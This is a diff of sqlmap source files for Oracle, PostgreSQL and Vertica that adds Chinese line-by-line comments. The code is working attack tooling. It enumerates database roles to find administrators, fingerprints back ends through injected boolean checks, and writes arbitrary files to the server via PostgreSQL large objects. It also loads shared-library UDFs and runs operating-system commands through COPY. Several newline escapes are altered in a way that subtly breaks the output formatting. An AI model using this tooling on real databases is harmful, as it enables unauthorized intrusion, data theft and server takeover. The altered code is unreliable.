+        # 7. 存储管理员用户的集合
         areAdmins = set()
 
+        # 8. 检查是否存在可用的注入技术或直接连接
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
+            # 9. 选择使用哪个查询语句
             if query2:
                 query = rootQuery.inband.query2
                 condition = rootQuery.inband.condition2
             else:
                 query = rootQuery.inband.query
                 condition = rootQuery.inband.condition
-
+            # 10. 如果指定了用户名，则添加到查询条件中
             if conf.user:
                 users = conf.user.split(',')
                 query += " WHERE "
                 query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
 
+            # 11. 执行查询语句，获取用户角色信息
             values = inject.getValue(query, blind=False, time=False)
 
+            # 12. 如果没有获取到数据，尝试使用备用表 `USER_ROLE_PRIVS`
             if not values and not query2:
                 infoMsg = "trying with table 'USER_ROLE_PRIVS'"
                 logger.info(infoMsg)
-
                 return self.getRoles(query2=True)
-
+            # 13. 处理获取到的用户角色信息
             if not isNoneValue(values):
                 for value in values:
                     user = None
                     roles = set()
-
                     for count in xrange(0, len(value or [])):
-                        # The first column is always the username
+                        # 14. 第一列为用户名
                         if count == 0:
                             user = value[count]
-
+                        # 15. 其他列为角色
-                        # The other columns are the roles
                         else:
                             role = value[count]
-
-                            # In Oracle we get the list of roles as string
                             roles.add(role)
-
+                    # 16. 将用户角色信息添加到缓存中
                     if user in kb.data.cachedUsersRoles:
                         kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user]))
                     else:
                         kb.data.cachedUsersRoles[user] = list(roles)
 
+        # 17. 如果没有获取到用户角色信息，尝试使用推断注入
         if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct:
+            # 18. 获取用户名列表
             if conf.user:
                 users = conf.user.split(',')
             else:
@@ -93,13 +99,11 @@ class Enumeration(GenericEnumeration):
                     users = kb.data.cachedUsers
 
             retrievedUsers = set()
-
+            # 19. 遍历用户列表，获取每个用户的角色信息
             for user in users:
                 unescapedUser = None
-
                 if user in retrievedUsers:
                     continue
-
                 infoMsg = "fetching number of roles "
                 infoMsg += "for user '%s'" % user
                 logger.info(infoMsg)
@@ -113,13 +117,13 @@ class Enumeration(GenericEnumeration):
                     query = rootQuery.blind.count2 % queryUser
                 else:
                     query = rootQuery.blind.count % queryUser
+                # 20. 获取每个用户的角色数量
                 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
-
+                # 21. 如果没有获取到角色数量，尝试使用备用表 `USER_SYS_PRIVS`
                 if not isNumPosStrValue(count):
                     if count != 0 and not query2:
                         infoMsg = "trying with table 'USER_SYS_PRIVS'"
                         logger.info(infoMsg)
-
                         return self.getPrivileges(query2=True)
 
                     warnMsg = "unable to retrieve the number of "
@@ -133,33 +137,33 @@ class Enumeration(GenericEnumeration):
                 roles = set()
 
                 indexRange = getLimitRange(count, plusOne=True)
-
+                # 22. 遍历角色索引，获取每个角色信息
                 for index in indexRange:
                     if query2:
                         query = rootQuery.blind.query2 % (queryUser, index)
                     else:
                         query = rootQuery.blind.query % (queryUser, index)
-                    role = inject.getValue(query, union=False, error=False)
 
-                    # In Oracle we get the list of roles as string
+                    role = inject.getValue(query, union=False, error=False)
                     roles.add(role)
 
+                # 23. 将获取到的角色信息添加到缓存中
                 if roles:
                     kb.data.cachedUsersRoles[user] = list(roles)
                 else:
                     warnMsg = "unable to retrieve the roles "
                     warnMsg += "for user '%s'" % user
                     logger.warning(warnMsg)
-
                 retrievedUsers.add(user)
-
+        # 24. 如果没有获取到用户角色信息，抛出异常
         if not kb.data.cachedUsersRoles:
             errMsg = "unable to retrieve the roles "
             errMsg += "for the database users"
             raise SqlmapNoneDataException(errMsg)
 
+        # 25. 从角色信息中判断管理员用户
         for user, privileges in kb.data.cachedUsersRoles.items():
             if isAdminFromPrivileges(privileges):
                 areAdmins.add(user)
-
+        # 26. 返回用户角色信息和管理员用户
         return kb.data.cachedUsersRoles, areAdmins

src/sqlmap-master/plugins/dbms/oracle/fingerprint.py

@@ -5,106 +5,120 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import re
+# 1. 导入必要的模块
-
+import re # 正则表达式模块
-from lib.core.common import Backend
+
-from lib.core.common import Format
+from lib.core.common import Backend  # 后端数据库信息
-from lib.core.data import conf
+from lib.core.common import Format  # 格式化输出
-from lib.core.data import kb
+from lib.core.data import conf  # 全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb  # 全局知识库
-from lib.core.enums import DBMS
+from lib.core.data import logger  # 日志记录器
-from lib.core.session import setDbms
+from lib.core.enums import DBMS  # 数据库管理系统枚举
-from lib.core.settings import ORACLE_ALIASES
+from lib.core.session import setDbms  # 设置数据库管理系统
-from lib.request import inject
+from lib.core.settings import ORACLE_ALIASES  # Oracle 数据库别名
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+from lib.request import inject  # 注入相关函数
-
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint  # 通用指纹识别类
+
+# 2. 定义一个类 Fingerprint，继承自 GenericFingerprint
 class Fingerprint(GenericFingerprint):
+    # 3. 构造函数，初始化数据库类型为 Oracle
     def __init__(self):
         GenericFingerprint.__init__(self, DBMS.ORACLE)
 
+    # 4. 获取指纹信息
     def getFingerprint(self):
         value = ""
+        # 5. 获取 Web 服务器的操作系统指纹
         wsOsFp = Format.getOs("web server", kb.headersFp)
-
         if wsOsFp:
-            value += "%s\n" % wsOsFp
+            value += "%s\
+" % wsOsFp
 
+        # 6. 获取后端数据库的操作系统指纹
         if kb.data.banner:
             dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
-
             if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
+                value += "%s\
+" % dbmsOsFp
 
         value += "back-end DBMS: "
 
+        # 7. 如果没有启用详细指纹识别，则只输出数据库类型
         if not conf.extensiveFp:
             value += DBMS.ORACLE
             return value
 
+        # 8. 获取激活的数据库指纹
         actVer = Format.getDbms()
         blank = " " * 15
         value += "active fingerprint: %s" % actVer
 
+        # 9. 如果有 Banner 信息，则获取 Banner 解析指纹
         if kb.bannerFp:
             banVer = kb.bannerFp.get("dbmsVersion")
-
             if banVer:
                 banVer = Format.getDbms([banVer])
-                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer)
 
+        # 10. 如果有 HTML 错误信息，则获取 HTML 错误指纹
         htmlErrorFp = Format.getErrorParsedDBMSes()
-
         if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+            value += "\
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
 
         return value
 
+    # 11. 检查数据库类型是否为 Oracle
     def checkDbms(self):
+        # 12. 如果没有启用详细指纹识别，并且后端数据库是 Oracle 的别名，则设置数据库类型并返回 True
         if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
             setDbms(DBMS.ORACLE)
-
             self.getBanner()
-
             return True
 
+        # 13. 输出测试数据库类型信息
         infoMsg = "testing %s" % DBMS.ORACLE
         logger.info(infoMsg)
 
-        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
+        # 14. 如果是直接连接，则跳过以下测试
-        # not work connecting directly to the Oracle database
         if conf.direct:
             result = True
+        # 15. 否则，测试数据库是否满足条件 LENGTH(SYSDATE)=LENGTH(SYSDATE)
         else:
             result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
 
+        # 16. 如果测试结果为 True，则进一步确认数据库类型
         if result:
             infoMsg = "confirming %s" % DBMS.ORACLE
             logger.info(infoMsg)
 
-            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
+            # 17. 如果是直接连接，则跳过以下测试
-            # not work connecting directly to the Oracle database
             if conf.direct:
                 result = True
+            # 18. 否则，测试数据库是否满足条件 NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])
             else:
                 result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])")
 
+            # 19. 如果测试结果为 False，则输出警告信息，并返回 False
             if not result:
                 warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
                 logger.warning(warnMsg)
-
                 return False
 
+            # 20. 设置数据库类型为 Oracle
             setDbms(DBMS.ORACLE)
-
             self.getBanner()
 
+            # 21. 如果没有启用详细指纹识别，则直接返回 True
             if not conf.extensiveFp:
                 return True
 
+            # 22. 输出开始详细指纹识别信息
             infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
             logger.info(infoMsg)
 
-            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
+            # 23. 尝试匹配数据库版本
             for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
                 number = int(re.search(r"([\d]+)", version).group(1))
                 output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
@@ -114,15 +128,15 @@ class Fingerprint(GenericFingerprint):
                     break
 
             return True
+        # 24. 如果初始测试结果为 False，则输出警告信息，并返回 False
         else:
             warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
             logger.warning(warnMsg)
-
             return False
 
+    # 25. 强制枚举数据库对象名称为大写
     def forceDbmsEnum(self):
         if conf.db:
             conf.db = conf.db.upper()
-
         if conf.tbl:
             conf.tbl = conf.tbl.upper()

src/sqlmap-master/plugins/dbms/postgresql/filesystem.py

@@ -5,79 +5,91 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import os
+# 1. 导入所需的模块
-
+import os # 操作系统相关模块
-from lib.core.common import randomInt
+
-from lib.core.compat import xrange
+from lib.core.common import randomInt # 生成随机整数
-from lib.core.data import kb
+from lib.core.compat import xrange  # 兼容 Python 2 和 3 的 xrange
-from lib.core.data import logger
+from lib.core.data import kb  # 全局知识库
-from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.data import logger # 日志记录器
-from lib.core.settings import LOBLKSIZE
+from lib.core.exception import SqlmapUnsupportedFeatureException  # 不支持的特性异常
-from lib.request import inject
+from lib.core.settings import LOBLKSIZE # Large Object Block Size
-from plugins.generic.filesystem import Filesystem as GenericFilesystem
+from lib.request import inject  # 注入相关函数
-
+from plugins.generic.filesystem import Filesystem as GenericFilesystem # 通用文件系统类
+
+# 2. 定义一个类 Filesystem，继承自 GenericFilesystem
 class Filesystem(GenericFilesystem):
+    # 3. 构造函数，初始化变量
     def __init__(self):
-        self.oid = None
+        self.oid = None   # Large Object OID
-        self.page = None
+        self.page = None  # Large Object page number
-
         GenericFilesystem.__init__(self)
 
+    # 4. 使用 stacked query 读取文件
     def stackedReadFile(self, remoteFile):
+        # 5. 如果不是暴力破解模式，则输出读取文件信息
         if not kb.bruteMode:
             infoMsg = "fetching file: '%s'" % remoteFile
             logger.info(infoMsg)
-
+        # 6. 初始化环境
         self.initEnv()
-
+        # 7. 调用 UDF 执行读取文件操作，返回读取的内容
         return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
 
+    # 8. 使用 UNION query 写入文件（PostgreSQL 不支持）
     def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
+        # 9. 输出不支持的信息并抛出异常
         errMsg = "PostgreSQL does not support file upload with UNION "
         errMsg += "query SQL injection technique"
         raise SqlmapUnsupportedFeatureException(errMsg)
 
+    # 10. 使用 stacked query 写入文件
     def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
+        # 11. 获取本地文件大小
         localFileSize = os.path.getsize(localFile)
+        # 12. 读取本地文件内容
         content = open(localFile, "rb").read()
-
+        # 13. 生成随机 OID 和初始页码
         self.oid = randomInt()
         self.page = 0
-
+        # 14. 创建支持表
         self.createSupportTbl(self.fileTblName, self.tblField, "text")
-
+        # 15. 输出调试信息
         debugMsg = "create a new OID for a large object, it implicitly "
         debugMsg += "adds an entry in the large objects system table"
         logger.debug(debugMsg)
-
         # References:
         # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
         # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
 
+        # 16. 删除已存在的 Large Object，创建新的 Large Object，并清理 Large Object 表
         inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
         inject.goStacked("SELECT lo_create(%d)" % self.oid)
         inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
-
+        # 17. 循环读取文件内容，分块写入 Large Object
         for offset in xrange(0, localFileSize, LOBLKSIZE):
+            # 18. 对文件内容进行 base64 编码
             fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
+            # 19. 将 base64 编码的文件内容转换为 SQL 查询语句
             sqlQueries = self.fileToSqlQueries(fcEncodedList)
-
+            # 20. 执行 SQL 查询语句
             for sqlQuery in sqlQueries:
                 inject.goStacked(sqlQuery)
-
+            # 21. 向 Large Object 表插入数据
             inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
+            # 22. 清理支持表
             inject.goStacked("DELETE FROM %s" % self.fileTblName)
-
+            # 23. 更新页码
             self.page += 1
-
+        # 24. 输出调试信息
         debugMsg = "exporting the OID %s file content to " % fileType
         debugMsg += "file '%s'" % remoteFile
         logger.debug(debugMsg)
-
+        # 25. 使用 lo_export 函数将 Large Object 内容导出到文件
         inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)
-
+        # 26. 检查文件是否写入成功
         written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
-
+        # 27. 删除 Large Object
         inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
-
+        # 28. 返回文件是否写入成功
         return written

src/sqlmap-master/plugins/dbms/postgresql/fingerprint.py

@@ -5,29 +5,35 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.common import Backend
+# 1. 从库中导入所需的模块
-from lib.core.common import Format
+from lib.core.common import Backend # 后端数据库信息
-from lib.core.common import hashDBRetrieve
+from lib.core.common import Format # 格式化输出
-from lib.core.common import hashDBWrite
+from lib.core.common import hashDBRetrieve # 从哈希数据库检索数据
-from lib.core.data import conf
+from lib.core.common import hashDBWrite  # 向哈希数据库写入数据
-from lib.core.data import kb
+from lib.core.data import conf # 全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 全局知识库
-from lib.core.enums import DBMS
+from lib.core.data import logger # 日志记录器
-from lib.core.enums import FORK
+from lib.core.enums import DBMS # 数据库类型枚举
-from lib.core.enums import HASHDB_KEYS
+from lib.core.enums import FORK # 数据库分支枚举
-from lib.core.enums import OS
+from lib.core.enums import HASHDB_KEYS # 哈希数据库键枚举
-from lib.core.session import setDbms
+from lib.core.enums import OS # 操作系统枚举
-from lib.core.settings import PGSQL_ALIASES
+from lib.core.session import setDbms # 设置当前数据库类型
-from lib.request import inject
+from lib.core.settings import PGSQL_ALIASES # PostgreSQL 数据库的别名
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+from lib.request import inject # 注入相关函数
-
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint  # 通用指纹识别类
+
+# 2. 定义一个类 Fingerprint，继承自 GenericFingerprint
 class Fingerprint(GenericFingerprint):
+    # 3. 构造函数，初始化数据库类型
     def __init__(self):
         GenericFingerprint.__init__(self, DBMS.PGSQL)
 
+    # 4. 获取指纹信息
     def getFingerprint(self):
+        # 5. 从哈希数据库中检索数据库分支信息
         fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
 
+        # 6. 如果分支信息为空，则尝试识别数据库分支
         if fork is None:
             if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"):
                 fork = FORK.COCKROACHDB
@@ -47,92 +53,109 @@ class Fingerprint(GenericFingerprint):
                 fork = FORK.AURORA
             else:
                 fork = ""
-
+            # 7. 将分支信息写入哈希数据库
             hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
 
         value = ""
+        # 8. 获取 Web 服务器操作系统指纹
         wsOsFp = Format.getOs("web server", kb.headersFp)
 
+        # 9. 将 Web 服务器操作系统指纹添加到输出
         if wsOsFp:
-            value += "%s\n" % wsOsFp
+            value += "%s\
+" % wsOsFp
 
+        # 10. 如果有数据库 Banner 信息
         if kb.data.banner:
+            # 11. 获取后端数据库操作系统指纹
             dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
 
+            # 12. 将后端数据库操作系统指纹添加到输出
             if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
+                value += "%s\
+" % dbmsOsFp
 
         value += "back-end DBMS: "
-
+        # 13. 如果不是详细指纹，则返回数据库类型和分支信息
         if not conf.extensiveFp:
             value += DBMS.PGSQL
             if fork:
                 value += " (%s fork)" % fork
             return value
 
+        # 14. 获取活动的指纹信息
         actVer = Format.getDbms()
         blank = " " * 15
         value += "active fingerprint: %s" % actVer
-
+        # 15. 如果有 Banner 解析指纹
         if kb.bannerFp:
             banVer = kb.bannerFp.get("dbmsVersion")
-
+            # 16. 如果有 Banner 版本号
             if banVer:
+                # 17. 格式化 Banner 版本号
                 banVer = Format.getDbms([banVer])
-                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer)
 
+        # 18. 获取 HTML 错误指纹
         htmlErrorFp = Format.getErrorParsedDBMSes()
 
+         # 19. 将 HTML 错误指纹添加到输出
         if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+            value += "\
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
 
+        # 20. 如果有数据库分支信息，则将其添加到输出
         if fork:
             value += "\n%sfork fingerprint: %s" % (blank, fork)
-
+        # 21. 返回完整的指纹信息
         return value
 
+    # 22. 检查数据库类型是否为 PostgreSQL
     def checkDbms(self):
         """
         References for fingerprint:
 
         * https://www.postgresql.org/docs/current/static/release.html
         """
-
+        # 23. 如果不是详细指纹，且当前数据库类型属于 PostgreSQL 别名，则设置数据库类型为 PostgreSQL 并返回 True
         if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES):
             setDbms(DBMS.PGSQL)
 
             self.getBanner()
 
             return True
-
+        # 24. 输出正在测试的数据库类型
         infoMsg = "testing %s" % DBMS.PGSQL
         logger.info(infoMsg)
 
-        # NOTE: Vertica works too without the CONVERT_TO()
+         # 25. 执行 SQL 查询，检查数据库类型是否为 PostgreSQL (基于 CONVERT_TO 和 QUOTE_IDENT 函数)
         result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")
 
+        # 26. 如果查询成功
         if result:
+             # 27. 输出确认信息
             infoMsg = "confirming %s" % DBMS.PGSQL
             logger.info(infoMsg)
-
+            # 28. 执行 SQL 查询，再次确认数据库类型是否为 PostgreSQL (基于 COALESCE 函数)
             result = inject.checkBooleanExpression("COALESCE([RANDNUM], NULL)=[RANDNUM]")
-
+            # 29. 如果再次确认失败，则输出警告信息，并返回 False
             if not result:
                 warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
                 logger.warning(warnMsg)
 
                 return False
-
+             # 30. 设置数据库类型为 PostgreSQL
             setDbms(DBMS.PGSQL)
-
+            # 31. 获取数据库 Banner 信息
             self.getBanner()
-
+             # 32. 如果不是详细指纹，则返回 True
             if not conf.extensiveFp:
                 return True
-
+            # 33. 输出正在进行详细指纹识别
             infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
             logger.info(infoMsg)
-
+            # 34. 通过检查不同版本的函数，设置 PostgreSQL 版本
             if inject.checkBooleanExpression("RANDOM_NORMAL(0.0, 1.0) IS NOT NULL"):
                 Backend.setVersion(">= 16.0")
             elif inject.checkBooleanExpression("REGEXP_COUNT(NULL,NULL) IS NULL"):
@@ -193,39 +216,43 @@ class Fingerprint(GenericFingerprint):
                 Backend.setVersion("< 6.2.0")
 
             return True
+        # 35. 如果第一次查询失败，则输出警告信息，并返回 False
         else:
             warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
             logger.warning(warnMsg)
 
             return False
-
+    # 36. 检查数据库服务器的操作系统
     def checkDbmsOs(self, detailed=False):
+        # 37. 如果已经获取到操作系统信息，则直接返回
         if Backend.getOs():
             return
-
+        # 38. 输出正在进行操作系统指纹识别
         infoMsg = "fingerprinting the back-end DBMS operating system"
         logger.info(infoMsg)
-
+        # 39. 创建支持表
         self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
+        # 40. 将 VERSION() 的结果插入到支持表中
         inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
 
+        # 41. 定义 Windows 操作系统特有的关键字
         # Windows executables should always have ' Visual C++' or ' mingw'
         # patterns within the banner
         osWindows = (" Visual C++", "mingw")
-
+        # 42. 循环检查是否存在 Windows 操作系统关键字
         for osPattern in osWindows:
             query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
             query += "LIKE '%" + osPattern + "%')>0"
-
+            # 43. 如果存在 Windows 操作系统关键字，则设置操作系统为 Windows
             if inject.checkBooleanExpression(query):
                 Backend.setOs(OS.WINDOWS)
 
                 break
-
+        # 44. 如果没有检测到 Windows 操作系统，则设置操作系统为 Linux
         if Backend.getOs() is None:
             Backend.setOs(OS.LINUX)
-
+        # 45. 输出检测到的操作系统信息
         infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
         logger.info(infoMsg)
-
+        # 46. 清理支持表
         self.cleanup(onlyFileTbl=True)

src/sqlmap-master/plugins/dbms/postgresql/takeover.py

@@ -5,101 +5,115 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import os
+# 1. 导入所需的模块
-
+import os  # 操作系统相关功能
-from lib.core.common import Backend
+
-from lib.core.common import checkFile
+from lib.core.common import Backend  # 后端数据库信息
-from lib.core.common import decloakToTemp
+from lib.core.common import checkFile  # 检查文件是否存在
-from lib.core.common import flattenValue
+from lib.core.common import decloakToTemp  # 解密临时文件路径
-from lib.core.common import filterNone
+from lib.core.common import flattenValue  # 将嵌套列表展平
-from lib.core.common import isListLike
+from lib.core.common import filterNone  # 过滤列表中的 None 值
-from lib.core.common import isNoneValue
+from lib.core.common import isListLike  # 检查是否为列表类型
-from lib.core.common import isStackingAvailable
+from lib.core.common import isNoneValue  # 检查是否为 None 值
-from lib.core.common import randomStr
+from lib.core.common import isStackingAvailable  # 检查是否支持堆叠查询
-from lib.core.compat import LooseVersion
+from lib.core.common import randomStr  # 生成随机字符串
-from lib.core.data import kb
+from lib.core.compat import LooseVersion  # 版本比较
-from lib.core.data import logger
+from lib.core.data import kb  # 全局知识库
-from lib.core.data import paths
+from lib.core.data import logger  # 日志记录器
-from lib.core.enums import OS
+from lib.core.data import paths  # 路径相关信息
-from lib.core.exception import SqlmapSystemException
+from lib.core.enums import OS  # 操作系统枚举
-from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.exception import SqlmapSystemException  # 系统异常
-from lib.request import inject
+from lib.core.exception import SqlmapUnsupportedFeatureException  # 不支持的特性异常
-from plugins.generic.takeover import Takeover as GenericTakeover
+from lib.request import inject  # 注入相关函数
-
+from plugins.generic.takeover import Takeover as GenericTakeover  # 通用提权类
+
+# 2. 定义一个类 Takeover，继承自 GenericTakeover
 class Takeover(GenericTakeover):
+    # 3. 设置远程 UDF 文件路径
     def udfSetRemotePath(self):
-        # On Windows
+        # 4. 如果是 Windows 系统
         if Backend.isOs(OS.WINDOWS):
-            # The DLL can be in any folder where postgres user has
+            # 5. UDF 文件可以放在任何 PostgreSQL 用户具有读/写/执行权限的目录
-            # read/write/execute access is valid
+            # 注意：不指定路径将保存在数据目录中
-            # NOTE: by not specifing any path, it will save into the
+            # 在 PostgreSQL 8.3 中，默认路径为：C:\Program Files\PostgreSQL\8.3\data
-            # data directory, on PostgreSQL 8.3 it is
-            # C:\Program Files\PostgreSQL\8.3\data.
             self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
-
+        # 6. 如果是 Linux 系统
-        # On Linux
         else:
-            # The SO can be in any folder where postgres user has
+            # 7. SO 文件可以放在任何 PostgreSQL 用户具有读/写/执行权限的目录
-            # read/write/execute access is valid
             self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
 
+    # 8. 设置本地 UDF 文件路径
     def udfSetLocalPaths(self):
+        # 9. 设置 UDF 本地文件路径和共享库名称
         self.udfLocalFile = paths.SQLMAP_UDF_PATH
         self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
-
+        # 10. 从 Banner 信息中获取数据库版本
         self.getVersionFromBanner()
-
         banVer = kb.bannerFp["dbmsVersion"]
 
+        # 11. 如果没有数据库版本信息，或者版本号不是数字开头，则抛出异常
         if not banVer or not banVer[0].isdigit():
             errMsg = "unsupported feature on unknown version of PostgreSQL"
             raise SqlmapUnsupportedFeatureException(errMsg)
+        # 12. 如果数据库版本大于等于 10，则取主版本号
         elif LooseVersion(banVer) >= LooseVersion("10"):
             majorVer = banVer.split('.')[0]
+        # 13. 如果数据库版本大于等于 8.2，则取主版本号和小版本号
         elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer:
             majorVer = '.'.join(banVer.split('.')[:2])
+        # 14. 如果数据库版本小于 8.2，则抛出异常
         else:
             errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
             raise SqlmapUnsupportedFeatureException(errMsg)
 
+        # 15. 尝试获取 UDF 文件
         try:
+            # 16. 如果是 Windows 系统
             if Backend.isOs(OS.WINDOWS):
                 _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
                 checkFile(_)
                 self.udfLocalFile = decloakToTemp(_)
                 self.udfSharedLibExt = "dll"
+            # 17. 如果是 Linux 系统
             else:
                 _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
                 checkFile(_)
                 self.udfLocalFile = decloakToTemp(_)
                 self.udfSharedLibExt = "so"
+        # 18. 如果找不到 UDF 文件，则抛出异常
         except SqlmapSystemException:
             errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
             raise SqlmapUnsupportedFeatureException(errMsg)
 
+    # 19. 从共享库创建 UDF
     def udfCreateFromSharedLib(self, udf, inpRet):
+        # 20. 如果需要创建 UDF
         if udf in self.udfToCreate:
             logger.info("creating UDF '%s' from the binary UDF file" % udf)
-
             inp = ", ".join(i for i in inpRet["input"])
             ret = inpRet["return"]
-
+            # 21. 创建 UDF 的 SQL 语句
-            # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
+             # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
             inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
             inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
-
             self.createdUdf.add(udf)
+        # 22. 如果不需要创建 UDF
         else:
             logger.debug("keeping existing UDF '%s' as requested" % udf)
 
+    # 23. 发送 UNC 路径请求
     def uncPathRequest(self):
+        # 24. 创建支持表
         self.createSupportTbl(self.fileTblName, self.tblField, "text")
+        # 25. 执行 COPY 命令，发送 UNC 路径请求
         inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
+        # 26. 清理支持表
         self.cleanup(onlyFileTbl=True)
 
+    # 27. 执行系统命令，并返回输出
     def copyExecCmd(self, cmd):
         output = None
-
+        # 28. 如果支持堆叠查询
         if isStackingAvailable():
             # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
             self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
@@ -109,21 +123,17 @@ class Takeover(GenericTakeover):
 
             query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
             output = inject.getValue(query, resumeValue=False)
-
             if isListLike(output):
                 output = flattenValue(output)
                 output = filterNone(output)
-
                 if not isNoneValue(output):
                     output = os.linesep.join(output)
-
             self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
             inject.goStacked(self._cleanupCmd)
 
         return output
-
+    # 29. 检查是否支持 COPY 命令执行系统命令
     def checkCopyExec(self):
         if kb.copyExecTest is None:
             kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
-
         return kb.copyExecTest

src/sqlmap-master/plugins/dbms/vertica/fingerprint.py

@@ -5,102 +5,107 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from lib.core.common import Backend
+# 导入必要的模块
-from lib.core.common import Format
+from lib.core.common import Backend # 导入 Backend 类，用于访问后端数据库信息
-from lib.core.data import conf
+from lib.core.common import Format # 导入 Format 类，用于格式化输出信息
-from lib.core.data import kb
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
